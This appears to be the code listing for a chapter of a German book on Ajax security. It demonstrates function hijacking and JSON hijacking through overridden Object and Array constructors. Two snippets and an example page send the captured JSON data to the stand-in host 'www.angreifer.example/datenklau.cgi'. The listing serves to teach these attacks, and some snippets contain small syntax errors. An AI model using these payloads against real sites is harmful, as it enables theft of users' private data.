Ajax Security - Quelltexte Kapitel 8

8.2 Ajax-Hijacking

8.2.1 Funktionen umdefinieren

<script>
function multipliziere(a, b) {
   var c = a * b;
   alert(a + " mal " + b + " ergibt " + c);
}

setTimeout("multipliziere = function() {alert('Hi Jack was there');} ", 10000);

</script>
var originalAlert = window.alert;   

function falscherAlert(nachricht) { 
   ausgabe = "Melde gehorsamst: " + nachricht;
   originalAlert(ausgabe);
}

window.alert = falscherAlert;

alert("Nichts zu melden!");

8.2.4 On-Demand-Ajax und Hijacking

<script>
   var funktionsliste = "";
   for (var i in window) {
      if (typeof(window[i]) == "function") {
        funktionsliste += I + "\n";
      }
   }
   alert(funktionsliste);
</script>

8.3 JSON-Hijacking

8.3.1 Angriff mit Mozilla-spezifischen Funktionen

<script> 
// Überschreiben des Object()-Constructors:
// Immer wenn das Feld "letztes-Feld" gesetzt ist, wird captureObject() aufgerufen
function Object() {
   this.letztes-feld setter = captureObject;
} 

// Das ausgespähte Objekt wird an den Server des Angreifers gesendet
function captureObject(x) {  
   var daten = "";
   for (feld in this) {
      daten += feld + ": " + this[feld] + ", "; 
   } 
   daten += "letztes-feld: " + x;

   var req = new XMLHttpRequest(); 
   req.open("GET", " http://www.angreifer.example/datenklau.cgi?daten=" +
             escape(daten), true);
   req.send(null); 
} 
</script> 

// Die JSON-Daten werden über ein script-Tag eingelesen
<script src="http://www.server.example/daten.json></script> 

8.3.2 Angriff ohne Mozilla-spezifische Funktionen

function Array() {
   var jason = this;

   var dieb = function() {
      var ergebnis = "Das Array enthält folgende Daten: [";
      for (var x in jason) {
         ergebnis += jason[x] + ", ";
      }
      ergebnis += "]";
      alert(ergebnis);
   };

   setTimeout(dieb, 250);
}

Beispiel

<html>
   <head>
      <title>JSON Hijacking</titel>
   </head>

   <body>
      <script>
         function Array() {
            var jason = this;

            var dieb = function() {
               var ergebnis = "Das Array enthält folgende Daten: [";
               for (var x in jason) {
                  ergebnis += jason[x] + ", ";
               }
               ergebnis += "]";
               var req = new XMLHttpRequest(); 
               req.open("GET", "http://www.angreifer.example/datenklau.cgi?daten="
                  + escape(ergebnis),true);
               req.send(null); 
            };

            setTimeout(dieb, 250);
         }
      </script>

      <!-- Die zu stehlenden JSON-Daten -->
      <script src = "http://www.server.example/daten.json"></script>

      <h1>JSON-Hijacking</h1>

      <p>
      Die entführten JSON-Daten wurden an den Angreifer gesendet.
      Vielen Dank für Ihre Mitarbeit!
      </p>

   </body>
</html>